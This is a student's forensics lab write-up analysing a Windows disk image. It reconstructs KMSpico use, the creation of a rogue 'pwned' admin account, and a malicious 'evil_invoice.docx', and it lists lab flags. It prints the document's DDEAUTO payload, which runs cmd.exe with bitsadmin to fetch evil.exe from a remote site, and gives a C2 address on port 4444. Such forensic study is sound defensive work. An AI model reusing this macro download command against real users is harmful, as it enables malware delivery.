By: Nicholas Dhaeyer - nicholas.dhayer@student.howest.be - student forensics analyst

Case 1 - Windows filesystem - lab 6

We'll start with the windows artifacts. First we make a md5sum of the VMDK to verify if this is indeed the correct disk we are workigng with:

- MD5: `8aea104393018866cb4eea629a2adfce`

This seems to be the correct disk so now we can mount it on our virtual machine.

Collecting files

First we need to gather all the regestry files and all other files that may be useful to us when doing a forensic analysis. I've written a tool that collects all useful windows files and puts them in a folder on the desktop.

You'll need to run this tool as administrator to copy some files (eg. Windows log files).

Windows Event logs

I took a look at a video on YouTube about where to start looking in Event logs. This gave me some ideas to try myself.

Security Events

Whilst going through the windows event logs at the timestamp: `2020-03-10T20:34:05.247066800Z` There was an event `4616` (Securtity State Change) that references a program called `AutoPico.exe` (`C:\Program Files\KMSpico\AutoPico.exe`). A quick google search identifies this tool as malware to activate illegal copies of MS Windows and MS Office. This program was initiated by the user: `User`. This program is executed +/-2 Minutes after the logon of the user. Next, I exported all the closely following events to take a closer look. At almost the same time There is a new 4616 event that executes `C:\Program Files\KMSpico\KMSELDI.exe` from the same user. The user Logs out and we also get a `1100` event; which according to Microsoft This is a normal occurance when there is a system shutdown.

The `KMSELDI.exe` malware file extracts geristry items with a function called `RegRipper`

A bit later at timestamp: `3/19/2020 11:15:35 AM` we can see the following events: `4720, 4738, 4722, 4724, 4732` These events are events that registar the creation of a new account and giving it more rights. All these events are executed throuogh the User account.

- The first event: `4720` specifies the creation of the new user: `pwned`. There isn't much mor information set about this user.
- The second event: `4738` specifies that a user account has been changed. Here we can see that there are only minimal changes, just to enable the account.
- This is also reflected in the third event: `4722` which tells us that a account has been enabled.
- The forth event: `4724` tells us that someone tried to change the password of a user account; in this case the User account tried to change the password of the pwned account. The keyword: `Audit Success` makes me believe that the operation worked.
- There are 2 `4732` events after this. These events specify that a user was added to a local group. Here the user: User was added to the local(builtin) `Users` & `Administrators` groups.
- Then about 10 minutes later the user User logs off.
- About 10 minutes after this logoff the newly created user: `pwned` logs on with a NTLM hash from the workstation: `DESKTOP-CFIGGOR`
- This user gets administration rights and logs in as the user pwned from the workstation: `USER-PC` with IP: `192.168.246.1` and port: `14064`. Using
- A few logs at the timestamp: `3/19/2020 11:37:31 AM` later we can see a connection to the server `userstorage` with the guest account to login. Initiated from the pwned user.
- 7 minutes later the `pwned` user logs off
- Another 15 minutes later the user: `User` logs on with special rights
- at the end of his session it shut's the PC off and the `pwned` user logs off too.

Windows Regestry and artifact files with Autopsy 4

The files that I've collected before I looked at the event logs hold a lot of artifact information. The tool I'm using now is `Autopsy 4`. This tool does a lot of things autmoatically for us already so we don't have to go look through every singele file one by one.

It's always interesting to look at the web cache and because there were only 39 items in it; I decided to start my search there.

Keywordsearch: evil_invoice.docx

In this web cache I came across a website that referenced a file called `evil_invoice.docx` that is probably a document that includes malware or unsavery macro's. Not only because it is called `evil_invoice` but also because it's a docx document downloaded from the internet and it was downloaded via HTTP and the website URL is something that you could guess is a malicious website. These things are just red flags that *may* point to it being malicious but there is no guarantee of it being malicious. this download page also referenses to something that looks like an IP address: `5.[redacted].124`

In searching for the keyword `evil_invoice.docx` I also came across an email account: `DannyB.oh@outlook.com`. This may be something we can later search for. The same goes for a text file called: `You_Have_Been_Hacked.txt` and the document name: `CompanySecrets.docx.LNK` this may be pointing to an insider threat.

The Keyword search for our evil document came also back with a timestamp that we can use to put on the timeline to know when things started. And maybe if we are lucky this is the document that started everything: `2020-03-19 11:13:48 CET`

Going through the macro's of this docx file we can see that this executes a command and downloads a file called `evil.exe`:

```
    DDEAUTO
C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\cm
d.exe "/k bitsadmin /transfer myjob /download /priority high
https://[evilsite]/evil.exe
```

The new exe is put in the root directory. Using a hashing tool on this file we get the hash: `fbbe3fd695f9827f49d33250cceff1d6`. According to virus total this is a trojan called `ab.exe` named after a `ApacheBench command line utility`. Virus total sais that this tool connects to an external IP address: `13.81.42.146:4444 (TCP)`

Keywordsearch: CompanySecrets.docx

The recent documents artifact gave us a timestamp when this document was accessed: `2020-03-19 09:37:27 CET` this is well before the previous document. This document has been deleted from the Document folder.

Thumbcache

Using the Thumbcache viewer tool we can put the database files (that we collected with my automation script) in the thumbcache viewer tool and look at all the thumbnails. Sadly there are no flags but there are cute cat pictures.

Jumplist

Using the JumpList Explorer from the EZTools I could take a look at the jumplists of the users. Here I saw a reference to a `D:` drive and a file called `D:\setup.dll`

Shellbag files

Shellbag files confirm that there was a Drive D connected to the PC, first interacted in 2012. But there is no timestamp for last interaction so we can't know for sure if this was used in our window. Altough we can find the folder `CatPictures` that was in the Users pictures folder. Now we know where these thumbnails came from. Apperently 4 seconds after it was created it was also deleted.
Here too we can see interaction with the KMSPico tool that was first interacted on `2020-03-10 20:35:00`

A few directories were accessed in system32: `oobe, Printing_admin_scripts, restore, ras and 0409`. Nothing too interesting to see

But the pwned user does have more interesting things to show: one of them is a network storage that was accessed on `2020-03-19 10:40:32`. And This user did access the user: User it's desktop and My videos folder. this only 2 minutes after accessing the network share: `2020-03-19 10:42:53`

Optional Flags:

- On the desktop of the user `USER` you can look in the YOU_HAVE_BEEN_HACKED.txt file and there was the flag in a base64 encoded format: `RkxBRy00MTI1Nzg5Mw==` → `FLAG-41257893`. This would be the bitcoin address of the hacker, meaning in real life we could follow this and keep an eye out for transactions.
- Another flag can be found when following the `evil_invoice.docx.lnk` file in the User_LNK directory that my script made. Open the file (with something that can't execute macro's) and we get the flag: `FLAG-24587939`. Because this is a simulation and this is just dummy data this could either be an invoice the comapny made or the invoice of Danny or maybe someone else. This might also give us some interesting information of the invoice itself or we can look at some hidden data.

Resources

- EZTools - Tool suite for forensics investigations on Windows
- WinPrefetchView - Tool for listing Windows Prefetch files
  - Tool itself not nirsoft homepage
- srum-dump - Tool for looking at SRUM files (Windows)
  - more info - SANS System Resource Utilization Monitoring diary
- Windows Recylebin parser - Parser for files that have been deleted in Windows
- Sleuthkit - Tools we've used in previous labs already

- WindowsForensicsCollector.bat - Copy forensic interesting files to a folder on the desktop.
- Windows IR Event Log Analysis
- Starting a case in Autopsy 4
- Analysing a disk image with Autopsy 4
- Thumbcache viewer tool